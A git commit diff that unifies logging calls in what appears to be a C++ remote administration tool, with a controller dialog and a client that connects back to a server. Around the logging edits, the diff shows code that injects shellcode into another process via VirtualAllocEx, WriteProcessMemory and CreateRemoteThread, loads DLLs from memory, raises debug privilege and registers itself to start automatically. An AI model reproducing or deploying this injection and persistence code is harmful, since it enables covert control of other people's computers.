Unify all log recording in the program

This commit is contained in:
yuanyuanxiang
2025-04-27 01:16:16 +08:00
parent 4926cdb19c
commit 685e0a1e3f
12 changed files with 96 additions and 105 deletions

View File

@@ -336,7 +336,7 @@ extern "C" __declspec(dllexport) void TestRun(char* szServerIP,int uPort)
extern "C" __declspec(dllexport) void StopRun() { g_MyApp.g_bExit = S_CLIENT_EXIT; }
// <20>Ƿ<EFBFBD><C7B7>ɹ<EFBFBD>ֹͣ
extern "C" __declspec(dllexport) bool IsStoped() { return g_MyApp.g_bThreadExit; }
extern "C" __declspec(dllexport) bool IsStoped() { return g_MyApp.g_bThreadExit && ClientApp::GetCount() == 0; }
// <20>Ƿ<EFBFBD><C7B7>˳<EFBFBD><CBB3>ͻ<EFBFBD><CDBB><EFBFBD>
extern "C" __declspec(dllexport) BOOL IsExit() { return g_MyApp.g_bExit; }

View File

@@ -58,31 +58,31 @@ BOOL SetKeepAliveOptions(int socket, int nKeepAliveSec = 180) {
// <20><><EFBFBD><EFBFBD> TCP <20><><EFBFBD><EFBFBD>ѡ<EFBFBD><D1A1>
int enable = 1;
if (setsockopt(socket, SOL_SOCKET, SO_KEEPALIVE, &enable, sizeof(enable)) < 0) {
std::cerr << "Failed to enable TCP keep-alive" << std::endl;
Mprintf("Failed to enable TCP keep-alive\n");
return FALSE;
}
// <20><><EFBFBD><EFBFBD> TCP_KEEPIDLE (3<><33><EFBFBD>ӿ<EFBFBD><D3BF>к<EFBFBD><D0BA><EFBFBD>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD> keep-alive <20><>)
if (setsockopt(socket, IPPROTO_TCP, TCP_KEEPIDLE, &nKeepAliveSec, sizeof(nKeepAliveSec)) < 0) {
std::cerr << "Failed to set TCP_KEEPIDLE" << std::endl;
Mprintf("Failed to set TCP_KEEPIDLE\n");
return FALSE;
}
// <20><><EFBFBD><EFBFBD> TCP_KEEPINTVL (5<><35><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Լ<EFBFBD><D4BC><EFBFBD>)
int keepAliveInterval = 5; // 5<><35>
if (setsockopt(socket, IPPROTO_TCP, TCP_KEEPINTVL, &keepAliveInterval, sizeof(keepAliveInterval)) < 0) {
std::cerr << "Failed to set TCP_KEEPINTVL" << std::endl;
Mprintf("Failed to set TCP_KEEPINTVL\n");
return FALSE;
}
// <20><><EFBFBD><EFBFBD> TCP_KEEPCNT (<28><><EFBFBD><EFBFBD>5<EFBFBD><35>̽<EFBFBD><CCBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD>ӶϿ<D3B6>)
int keepAliveProbes = 5;
if (setsockopt(socket, IPPROTO_TCP, TCP_KEEPCNT, &keepAliveProbes, sizeof(keepAliveProbes)) < 0) {
std::cerr << "Failed to set TCP_KEEPCNT" << std::endl;
Mprintf("Failed to set TCP_KEEPCNT\n");
return FALSE;
}
std::cout << "TCP keep-alive settings applied successfully" << std::endl;
Mprintf("TCP keep-alive settings applied successfully\n");
return TRUE;
}
#endif
@@ -172,7 +172,7 @@ inline std::string GetIPAddress(const char *hostName)
int status = getaddrinfo(hostName, nullptr, &hints, &res);
if (status != 0) {
std::cerr << "getaddrinfo failed: " << gai_strerror(status) << std::endl;
Mprintf("getaddrinfo failed: %s\n", gai_strerror(status));
return "";
}
@@ -180,7 +180,7 @@ inline std::string GetIPAddress(const char *hostName)
char ip[INET_ADDRSTRLEN];
inet_ntop(AF_INET, &(addr->sin_addr), ip, sizeof(ip));
std::cout << "IP Address: " << ip << std::endl;
Mprintf("IP Address: %s \n", ip);
freeaddrinfo(res); // <20><>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD><EFBFBD>ͷŵ<CDB7>ַ<EFBFBD><D6B7>Ϣ
return ip;
@@ -225,20 +225,20 @@ BOOL IOCPClient::ConnectServer(const char* szServerIP, unsigned short uPort)
// <20><>szServerIP<49><50><EFBFBD><EFBFBD><EFBFBD>ֿ<EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IPת<50><D7AA>
// ʹ<><CAB9> inet_pton <20><><EFBFBD><EFBFBD> inet_addr (inet_pton <20><><EFBFBD><EFBFBD>֧<EFBFBD><D6A7> IPv4 <20><> IPv6)
if (inet_pton(AF_INET, server.c_str(), &ServerAddr.sin_addr) <= 0) {
std::cerr << "Invalid address or address not supported" << std::endl;
Mprintf("Invalid address or address not supported\n");
return false;
}
// <20><><EFBFBD><EFBFBD><EFBFBD>׽<EFBFBD><D7BD><EFBFBD>
m_sClientSocket = socket(AF_INET, SOCK_STREAM, 0);
if (m_sClientSocket == -1) {
std::cerr << "Failed to create socket" << std::endl;
Mprintf("Failed to create socket\n");
return false;
}
// <20><><EFBFBD>ӵ<EFBFBD><D3B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
if (connect(m_sClientSocket, (struct sockaddr*)&ServerAddr, sizeof(ServerAddr)) == -1) {
std::cerr << "Connection failed" << std::endl;
Mprintf("Connection failed\n");
close(m_sClientSocket);
m_sClientSocket = -1; // <20><><EFBFBD><EFBFBD><EFBFBD>׽<EFBFBD><D7BD><EFBFBD><EFBFBD><EFBFBD>Ч
return false;
@@ -327,6 +327,8 @@ DWORD WINAPI IOCPClient::WorkThreadProc(LPVOID lParam)
}
}
}
CloseHandle(This->m_hWorkThread);
This->m_hWorkThread = NULL;
This->m_bWorkThread = S_STOP;
This->m_bIsRunning = FALSE;
delete[] szBuffer;
@@ -352,62 +354,51 @@ VOID IOCPClient::OnServerReceiving(char* szBuffer, ULONG ulLength)
//<2F>ж<EFBFBD><D0B6><EFBFBD><EFBFBD><EFBFBD>ͷ
if (memcmp(m_szPacketFlag, szPacketFlag, FLAG_LENGTH) != 0)
{
throw "Bad Buffer";
Mprintf("[ERROR] OnServerReceiving memcmp fail: unknown header '%s'\n", szPacketFlag);
m_CompressedBuffer.ClearBuffer();
break;
}
ULONG ulPackTotalLength = 0;
CopyMemory(&ulPackTotalLength, m_CompressedBuffer.GetBuffer(FLAG_LENGTH),
sizeof(ULONG));
CopyMemory(&ulPackTotalLength, m_CompressedBuffer.GetBuffer(FLAG_LENGTH), sizeof(ULONG));
//--- <20><><EFBFBD>ݵĴ<DDB5>С<EFBFBD><D0A1>ȷ<EFBFBD>ж<EFBFBD>
ULONG len = m_CompressedBuffer.GetBufferLength();
if (ulPackTotalLength && len >= ulPackTotalLength)
{
m_CompressedBuffer.ReadBuffer((PBYTE)szPacketFlag, FLAG_LENGTH);//<2F><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7> shine
m_CompressedBuffer.ReadBuffer((PBYTE) &ulPackTotalLength, sizeof(ULONG));
ULONG ulOriginalLength = 0;
m_CompressedBuffer.ReadBuffer((PBYTE)szPacketFlag, FLAG_LENGTH);//<2F><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7> shine
m_CompressedBuffer.ReadBuffer((PBYTE) &ulPackTotalLength, sizeof(ULONG));
m_CompressedBuffer.ReadBuffer((PBYTE) &ulOriginalLength, sizeof(ULONG));
//50
ULONG ulCompressedLength = ulPackTotalLength - HDR_LENGTH;
PBYTE CompressedBuffer = new BYTE[ulCompressedLength];
PBYTE DeCompressedBuffer = new BYTE[ulOriginalLength];
const int bufSize = 512;
BYTE buf1[bufSize], buf2[bufSize];
PBYTE CompressedBuffer = ulCompressedLength > bufSize ? new BYTE[ulCompressedLength] : buf1;
PBYTE DeCompressedBuffer = ulCompressedLength > bufSize ? new BYTE[ulOriginalLength] : buf2;
m_CompressedBuffer.ReadBuffer(CompressedBuffer, ulCompressedLength);
size_t iRet = uncompress(DeCompressedBuffer,
&ulOriginalLength, CompressedBuffer, ulCompressedLength);
size_t iRet = uncompress(DeCompressedBuffer, &ulOriginalLength, CompressedBuffer, ulCompressedLength);
if (Z_SUCCESS(iRet))//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѹ<EFBFBD>ɹ<EFBFBD>
{
CBuffer m_DeCompressedBuffer;
m_DeCompressedBuffer.WriteBuffer(DeCompressedBuffer,
ulOriginalLength);
//<2F><>ѹ<EFBFBD>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ݺͳ<DDBA><CDB3>ȴ<EFBFBD><C8B4>ݸ<EFBFBD><DDB8><EFBFBD><EFBFBD><EFBFBD>Manager<65><72><EFBFBD>д<EFBFBD><D0B4><EFBFBD> ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˶<EFBFBD>̬
//<2F><><EFBFBD><EFBFBD>m_pManager<65>е<EFBFBD><D0B5><EFBFBD><EFBFBD>һ<E0B2BB><D2BB><EFBFBD><EFBFBD><EFBFBD>ɵ<EFBFBD><C9B5>õ<EFBFBD>OnReceive<76><65><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>
if (m_DataProcess)
m_DataProcess(m_Manager, (PBYTE)m_DeCompressedBuffer.GetBuffer(0),
m_DeCompressedBuffer.GetBufferLength());
m_DataProcess(m_Manager, (PBYTE)DeCompressedBuffer, ulOriginalLength);
}
else{
Mprintf("[ERROR] uncompress fail: dstLen %d, srcLen %d\n", ulOriginalLength, ulCompressedLength);
delete [] CompressedBuffer;
delete [] DeCompressedBuffer;
throw "Bad Buffer";
m_CompressedBuffer.ClearBuffer();
}
delete [] CompressedBuffer;
delete [] DeCompressedBuffer;
#if _DEBUG
// Mprintf("[INFO] uncompress succeed data len: %d expect: %d\n", len, ulPackTotalLength);
#endif
if (CompressedBuffer != buf1)delete [] CompressedBuffer;
if (DeCompressedBuffer != buf2)delete [] DeCompressedBuffer;
}
else {
Mprintf("[WARNING] OnServerReceiving incomplete data: %d expect: %d\n", len, ulPackTotalLength);
break;
break; // received data is incomplete
}
}
}catch(...) {
@@ -436,13 +427,14 @@ BOOL IOCPClient::OnServerSending(const char* szBuffer, ULONG ulOriginalLength)
#else
unsigned long ulCompressedLength = ZSTD_compressBound(ulOriginalLength);
#endif
LPBYTE CompressedBuffer = new BYTE[ulCompressedLength];
BYTE buf[1024];
LPBYTE CompressedBuffer = ulCompressedLength>1024 ? new BYTE[ulCompressedLength] : buf;
int iRet = compress(CompressedBuffer, &ulCompressedLength, (PBYTE)szBuffer, ulOriginalLength);
if (Z_FAILED(iRet))
{
Mprintf("[ERROR] compress failed \n");
delete [] CompressedBuffer;
Mprintf("[ERROR] compress failed: srcLen %d, dstLen %d \n", ulOriginalLength, ulCompressedLength);
if (CompressedBuffer != buf) delete [] CompressedBuffer;
return FALSE;
}
#if !USING_ZLIB
@@ -454,20 +446,15 @@ BOOL IOCPClient::OnServerSending(const char* szBuffer, ULONG ulOriginalLength)
m_WriteBuffer.WriteBuffer((PBYTE)m_szPacketFlag, FLAG_LENGTH);
m_WriteBuffer.WriteBuffer((PBYTE) &ulPackTotalLength,sizeof(ULONG));
// 5 4
//[Shine][ 30 ]
m_WriteBuffer.WriteBuffer((PBYTE)&ulOriginalLength, sizeof(ULONG));
// 5 4 4
//[Shine][ 30 ][5]
m_WriteBuffer.WriteBuffer(CompressedBuffer,ulCompressedLength);
delete [] CompressedBuffer;
CompressedBuffer = NULL;
if (CompressedBuffer != buf) delete [] CompressedBuffer;
// <20>ֿ鷢<D6BF><E9B7A2>
//shine[0035][0010][HelloWorld+12]
return SendWithSplit((char*)m_WriteBuffer.GetBuffer(), m_WriteBuffer.GetBufferLength(),
MAX_SEND_BUFFER);
return SendWithSplit((char*)m_WriteBuffer.GetBuffer(), m_WriteBuffer.GetBufferLength(), MAX_SEND_BUFFER);
}
}
@@ -538,8 +525,8 @@ VOID IOCPClient::Disconnect()
VOID IOCPClient::RunEventLoop(const BOOL &bCondition)
{
OutputDebugStringA("======> RunEventLoop begin\n");
Mprintf("======> RunEventLoop begin\n");
while (m_bIsRunning && bCondition)
Sleep(200);
OutputDebugStringA("======> RunEventLoop end\n");
Mprintf("======> RunEventLoop end\n");
}

View File

@@ -196,7 +196,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
BYTE bToken = COMMAND_BYE;// <20><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD>
m_ClientObject->OnServerSending((char*)&bToken, 1);
g_bExit = S_CLIENT_EXIT;
OutputDebugStringA("======> Client exit \n");
Mprintf("======> Client exit \n");
break;
}
@@ -205,7 +205,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
BYTE bToken = SERVER_EXIT;// <20><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD>
m_ClientObject->OnServerSending((char*)&bToken, 1);
g_bExit = S_SERVER_EXIT;
OutputDebugStringA("======> Server exit \n");
Mprintf("======> Server exit \n");
break;
}

View File

@@ -424,7 +424,7 @@ PerformBaseRelocation(PMEMORYMODULE module, ptrdiff_t delta)
#endif
default:
//printf("Unknown relocation: %d\n", type);
// Mprintf("Unknown relocation: %d\n", type);
break;
}
}
@@ -1180,7 +1180,7 @@ BOOL MemoryModuleTestsuite() {
const uintptr_t* tests = AlignValueDownTests[idx];
uintptr_t value = AlignValueDown(tests[0], tests[1]);
if (value != tests[2]) {
printf("AlignValueDown failed for 0x%" PRIxPTR "/0x%" PRIxPTR ": expected 0x%" PRIxPTR ", got 0x%" PRIxPTR "\n",
Mprintf("AlignValueDown failed for 0x%" PRIxPTR "/0x%" PRIxPTR ": expected 0x%" PRIxPTR ", got 0x%" PRIxPTR "\n",
tests[0], tests[1], tests[2], value);
success = FALSE;
}
@@ -1189,13 +1189,13 @@ BOOL MemoryModuleTestsuite() {
const uintptr_t* tests = AlignValueUpTests[idx];
uintptr_t value = AlignValueUp(tests[0], tests[1]);
if (value != tests[2]) {
printf("AlignValueUp failed for 0x%" PRIxPTR "/0x%" PRIxPTR ": expected 0x%" PRIxPTR ", got 0x%" PRIxPTR "\n",
Mprintf("AlignValueUp failed for 0x%" PRIxPTR "/0x%" PRIxPTR ": expected 0x%" PRIxPTR ", got 0x%" PRIxPTR "\n",
tests[0], tests[1], tests[2], value);
success = FALSE;
}
}
if (success) {
printf("OK\n");
Mprintf("OK\n");
}
return success;
}

View File

@@ -89,7 +89,7 @@ private:
PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ,
FALSE, pid);
if (!hProcess) {
std::cout << "OpenProcess failed. PID: " << pid << std::endl;
Mprintf("OpenProcess failed. PID: %d\n", pid);
return nullptr;
}
@@ -97,14 +97,14 @@ private:
BOOL targetIs64Bit = FALSE;
BOOL success = IsProcess64Bit(hProcess, targetIs64Bit);
if (!success) {
std::cout << "Get architecture failed " << std::endl;
Mprintf("Get architecture failed \n");
CloseHandle(hProcess);
return nullptr;
}
const BOOL selfIs64Bit = sizeof(void*) == 8;
if (selfIs64Bit != targetIs64Bit) {
std::cout << "[Unable inject] Injector is " << (selfIs64Bit ? "64bit" : "32bit")
<< ", Target process is " << (targetIs64Bit ? "64bit" : "32bit") << std::endl;
Mprintf("[Unable inject] Injector is %s, Target process is %s\n",
(selfIs64Bit ? "64bit" : "32bit"), (targetIs64Bit ? "64bit" : "32bit"));
CloseHandle(hProcess);
return nullptr;
}
@@ -139,20 +139,20 @@ private:
LPBYTE shellcode = NULL;
int len = 0;
if (!MakeShellcode(shellcode, len, (LPBYTE)pDllBuffer, dllSize)) {
std::cout << "MakeShellcode failed " << std::endl;
Mprintf("MakeShellcode failed \n");
CloseHandle(hProcess);
return false;
}
LPVOID remoteBuffer = VirtualAllocEx(hProcess, nullptr, len, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (!remoteBuffer) {
std::cout << "VirtualAllocEx failed " << std::endl;
Mprintf("VirtualAllocEx failed \n");
CloseHandle(hProcess);
return false;
}
if (!WriteProcessMemory(hProcess, remoteBuffer, shellcode, len, nullptr)) {
std::cout << "WriteProcessMemory failed " << std::endl;
Mprintf("WriteProcessMemory failed \n");
VirtualFreeEx(hProcess, remoteBuffer, 0, MEM_RELEASE);
CloseHandle(hProcess);
delete[] shellcode;
@@ -165,7 +165,7 @@ private:
HANDLE hThread = CreateRemoteThread(hProcess, nullptr, 0, entry, remoteBuffer, 0, nullptr);
if (!hThread) {
std::cout << "CreateRemoteThread failed " << std::endl;
Mprintf("CreateRemoteThread failed \n");
VirtualFreeEx(hProcess, remoteBuffer, 0, MEM_RELEASE);
CloseHandle(hProcess);
return false;
@@ -173,7 +173,7 @@ private:
WaitForSingleObject(hThread, INFINITE);
std::cout << "Finish injecting to PID: " << pid << std::endl;
Mprintf("Finish injecting to PID: %d\n", pid);
VirtualFreeEx(hProcess, remoteBuffer, 0, MEM_RELEASE);
CloseHandle(hThread);

View File

@@ -29,7 +29,11 @@ IsExit bExit = NULL;
BOOL status = 0;
#ifdef _DEBUG
CONNECT_ADDRESS g_ConnectAddress = { FLAG_FINDEN, "127.0.0.1", "6543", CLIENT_TYPE_DLL };
#else
CONNECT_ADDRESS g_ConnectAddress = { FLAG_FINDEN, "127.0.0.1", "6543", CLIENT_TYPE_MEMDLL };
#endif
//<2F><><EFBFBD><EFBFBD>Ȩ<EFBFBD><C8A8>
void DebugPrivilege()
@@ -266,7 +270,7 @@ int main(int argc, const char *argv[])
{
if(!SetSelfStart(argv[0], REG_NAME))
{
std::cout<<"<EFBFBD><EFBFBD><EFBFBD>ÿ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD>ܣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ù<EFBFBD><EFBFBD><EFBFBD>ԱȨ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>.\n";
Mprintf("<EFBFBD><EFBFBD><EFBFBD>ÿ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD>ܣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ù<EFBFBD><EFBFBD><EFBFBD>ԱȨ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>.\n");
}
status = 0;
SetConsoleCtrlHandler(&callback, TRUE);

View File

@@ -371,7 +371,7 @@ VOID CMy2015RemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName
EnterCriticalSection(&m_cs);
if (IsExitItem(m_CList_Online, (ULONG_PTR)ContextObject)) {
LeaveCriticalSection(&m_cs);
OutputDebugStringA(CString("===> '") + strIP + CString("' already exist!!\n"));
Mprintf(CString("===> '") + strIP + CString("' already exist!!\n"));
return;
}
//Ĭ<><C4AC>Ϊ0<CEAA><30> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>в<EFBFBD><D0B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ж<EFBFBD><D0B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
@@ -641,11 +641,11 @@ void CMy2015RemoteDlg::OnClose()
{
// <20><><EFBFBD>ش<EFBFBD><D8B4>ڶ<EFBFBD><DAB6><EFBFBD><EFBFBD>ǹر<C7B9>
ShowWindow(SW_HIDE);
OutputDebugStringA("======> Hide\n");
Mprintf("======> Hide\n");
}
void CMy2015RemoteDlg::Release(){
OutputDebugStringA("======> Release\n");
Mprintf("======> Release\n");
isClosed = TRUE;
ShowWindow(SW_HIDE);
@@ -1101,7 +1101,7 @@ BOOL CMy2015RemoteDlg::Activate(int nPort,int nMaxConnection)
UINT ret = 0;
if ( (ret=m_iocpServer->StartServer(NotifyProc, OfflineProc, nPort)) !=0 )
{
OutputDebugStringA("======> StartServer Failed \n");
Mprintf("======> StartServer Failed \n");
char code[32];
sprintf_s(code, "%d", ret);
MessageBox("<EFBFBD><EFBFBD><EFBFBD>ú<EFBFBD><EFBFBD><EFBFBD>StartServerʧ<EFBFBD><EFBFBD>! <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>:"+CString(code));
@@ -1339,7 +1339,7 @@ LRESULT CMy2015RemoteDlg::OnUserToOnlineList(WPARAM wParam, LPARAM lParam)
{
char buf[100];
sprintf_s(buf, "*** Received [%s] invalid login data! ***\n", inet_ntoa(ClientAddr.sin_addr));
OutputDebugStringA(buf);
Mprintf(buf);
return -1;
}
@@ -1368,7 +1368,7 @@ LRESULT CMy2015RemoteDlg::OnUserToOnlineList(WPARAM wParam, LPARAM lParam)
delete LoginInfor;
return S_OK;
}catch(...){
OutputDebugStringA("[ERROR] OnUserToOnlineList catch an error \n");
Mprintf("[ERROR] OnUserToOnlineList catch an error \n");
}
return -1;
}
@@ -1376,7 +1376,7 @@ LRESULT CMy2015RemoteDlg::OnUserToOnlineList(WPARAM wParam, LPARAM lParam)
LRESULT CMy2015RemoteDlg::OnUserOfflineMsg(WPARAM wParam, LPARAM lParam)
{
OutputDebugStringA("======> OnUserOfflineMsg\n");
Mprintf("======> OnUserOfflineMsg\n");
CString ip, port;
port.Format("%d", lParam);
EnterCriticalSection(&m_cs);

View File

@@ -947,18 +947,18 @@ void CFileManagerDlg::OnReceiveComplete()
}
catch (CMemoryException* e)
{
OutputDebugStringA("[ERROR] CMemoryException\n");
Mprintf("[ERROR] CMemoryException\n");
}
catch (CFileException* e)
{
OutputDebugStringA("[ERROR] CFileException\n");
Mprintf("[ERROR] CFileException\n");
}
catch (CException* e)
{
OutputDebugStringA("[ERROR] CException\n");
Mprintf("[ERROR] CException\n");
}
catch (...) {
OutputDebugStringA("[ERROR] Other exception\n");
Mprintf("[ERROR] Other exception\n");
}
break;
case TOKEN_FILE_SIZE: // <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>ʱ<EFBFBD>ĵ<EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD>ݰ<EFBFBD><DDB0><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>С<EFBFBD><D0A1><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>

View File

@@ -329,7 +329,7 @@ BOOL IOCPServer::InitializeIOCP(VOID)
DWORD IOCPServer::WorkThreadProc(LPVOID lParam)
{
OutputDebugStringA("======> IOCPServer WorkThreadProc begin \n");
Mprintf("======> IOCPServer WorkThreadProc begin \n");
IOCPServer* This = (IOCPServer*)(lParam);
@@ -362,7 +362,7 @@ DWORD IOCPServer::WorkThreadProc(LPVOID lParam)
if (ContextObject && This->m_bTimeToKill == FALSE &&dwTrans==0)
{
ContextObject->olps = NULL;
OutputDebugStringA("!!! RemoveStaleContext \n");
Mprintf("!!! RemoveStaleContext \n");
This->RemoveStaleContext(ContextObject);
}
SAFE_DELETE(OverlappedPlus);
@@ -416,7 +416,7 @@ DWORD IOCPServer::WorkThreadProc(LPVOID lParam)
ContextObject = NULL;
}
catch (...) {
OutputDebugStringA("This->HandleIO catched an error!!!");
Mprintf("This->HandleIO catched an error!!!");
}
}
}
@@ -432,7 +432,7 @@ DWORD IOCPServer::WorkThreadProc(LPVOID lParam)
if (n == 0) {
Mprintf("======> IOCPServer All WorkThreadProc done\n");
}
OutputDebugStringA("======> IOCPServer WorkThreadProc end \n");
Mprintf("======> IOCPServer WorkThreadProc end \n");
return 0;
}
@@ -454,7 +454,7 @@ BOOL IOCPServer::HandleIO(IOType PacketFlags,PCONTEXT_OBJECT ContextObject, DWOR
bRet = OnClientPostSending(ContextObject,dwTrans);
break;
case IOIdle:
OutputDebugStringA("=> HandleIO PacketFlags= IOIdle\n");
Mprintf("=> HandleIO PacketFlags= IOIdle\n");
break;
default:
break;
@@ -512,7 +512,7 @@ BOOL IOCPServer::OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans
ContextObject->Decode(CompressedBuffer, ulOriginalLength);
m_NotifyProc(ContextObject);
SAFE_DELETE_ARRAY(CompressedBuffer);
break;
continue;
}
bool usingZstd = ContextObject->CompressMethod == COMPRESS_ZSTD, zlibFailed = false;
PBYTE DeCompressedBuffer = new BYTE[ulOriginalLength]; //<2F><>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD>ڴ<EFBFBD>
@@ -522,7 +522,6 @@ BOOL IOCPServer::OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans
if (usingZstd ? C_SUCCESS(iRet) : (S_OK==iRet))
{
ContextObject->InDeCompressedBuffer.ClearBuffer();
//ContextObject->InCompressedBuffer.ClearBuffer();
ContextObject->InDeCompressedBuffer.WriteBuffer(DeCompressedBuffer, ulOriginalLength);
ContextObject->Decode(DeCompressedBuffer, ulOriginalLength);
m_NotifyProc(ContextObject); //֪ͨ<CDA8><D6AA><EFBFBD><EFBFBD>
@@ -544,7 +543,7 @@ BOOL IOCPServer::OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans
delete [] CompressedBuffer;
delete [] DeCompressedBuffer;
if (zlibFailed) {
OutputDebugStringA("[ERROR] ZLIB uncompress failed \n");
Mprintf("[ERROR] ZLIB uncompress failed \n");
throw "Bad Buffer";
}
}else{
@@ -553,7 +552,7 @@ BOOL IOCPServer::OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans
}
}catch(...)
{
OutputDebugStringA("[ERROR] OnClientReceiving catch an error \n");
Mprintf("[ERROR] OnClientReceiving catch an error \n");
ContextObject->InCompressedBuffer.ClearBuffer();
ContextObject->InDeCompressedBuffer.ClearBuffer();
}
@@ -574,7 +573,7 @@ VOID IOCPServer::OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffe
else {
memcpy(buf, szBuffer, ulOriginalLength);
}
OutputDebugStringA("[COMMAND] Send: " + CString(buf) + "\r\n");
Mprintf("[COMMAND] Send: " + CString(buf) + "\r\n");
}
try
{
@@ -582,7 +581,7 @@ VOID IOCPServer::OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffe
{
if (ulOriginalLength <= 0) return;
if (ContextObject->CompressMethod == COMPRESS_UNKNOWN) {
OutputDebugStringA("[ERROR] UNKNOWN compress method \n");
Mprintf("[ERROR] UNKNOWN compress method \n");
return;
}
else if (ContextObject->CompressMethod == COMPRESS_NONE) {
@@ -596,7 +595,8 @@ VOID IOCPServer::OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffe
unsigned long ulCompressedLength = usingZstd ?
ZSTD_compressBound(ulOriginalLength) : (double)ulOriginalLength * 1.001 + 12;
#endif
LPBYTE CompressedBuffer = new BYTE[ulCompressedLength];
BYTE buf[1024];
LPBYTE CompressedBuffer = ulCompressedLength>1024 ? new BYTE[ulCompressedLength]:buf;
Buffer tmp(szBuffer, ulOriginalLength); szBuffer = tmp.Buf();
ContextObject->Encode(szBuffer, ulOriginalLength);
size_t iRet = usingZstd ?
@@ -605,15 +605,15 @@ VOID IOCPServer::OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffe
if (usingZstd ? C_FAILED(iRet) : (S_OK != iRet))
{
OutputDebugStringA("[ERROR] compress failed \n");
delete [] CompressedBuffer;
Mprintf("[ERROR] compress failed \n");
if (CompressedBuffer != buf) delete [] CompressedBuffer;
return;
}
ulCompressedLength = usingZstd ? iRet : ulCompressedLength;
ContextObject->WriteBuffer(CompressedBuffer, ulCompressedLength, ulOriginalLength);
delete [] CompressedBuffer;
if (CompressedBuffer != buf) delete [] CompressedBuffer;
}while (false);
OVERLAPPEDPLUS* OverlappedPlus = new OVERLAPPEDPLUS(IOWrite);
@@ -621,12 +621,12 @@ VOID IOCPServer::OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffe
if ( (!bOk && GetLastError() != ERROR_IO_PENDING) ) //<2F><><EFBFBD><EFBFBD>Ͷ<EFBFBD><CDB6>ʧ<EFBFBD><CAA7>
{
int a = GetLastError();
OutputDebugStringA("!!! OnClientPreSending Ͷ<><CDB6><EFBFBD><EFBFBD>Ϣʧ<CFA2><CAA7>\n");
Mprintf("!!! OnClientPreSending Ͷ<><CDB6><EFBFBD><EFBFBD>Ϣʧ<CFA2><CAA7>\n");
RemoveStaleContext(ContextObject);
SAFE_DELETE(OverlappedPlus);
}
}catch(...){
OutputDebugStringA("[ERROR] OnClientPreSending catch an error \n");
Mprintf("[ERROR] OnClientPreSending catch an error \n");
}
}
@@ -653,13 +653,13 @@ BOOL IOCPServer::OnClientPostSending(CONTEXT_OBJECT* ContextObject,ULONG ulCompl
if ( iOk == SOCKET_ERROR && WSAGetLastError() != WSA_IO_PENDING )
{
int a = GetLastError();
OutputDebugStringA("!!! OnClientPostSending Ͷ<><CDB6><EFBFBD><EFBFBD>Ϣʧ<CFA2><CAA7>\n");
Mprintf("!!! OnClientPostSending Ͷ<><CDB6><EFBFBD><EFBFBD>Ϣʧ<CFA2><CAA7>\n");
RemoveStaleContext(ContextObject);
SAFE_DELETE(OverlappedPlus);
}
}
}catch(...){
OutputDebugStringA("[ERROR] OnClientPostSending catch an error \n");
Mprintf("[ERROR] OnClientPostSending catch an error \n");
}
return FALSE;
@@ -775,7 +775,7 @@ void IOCPServer::OnAccept()
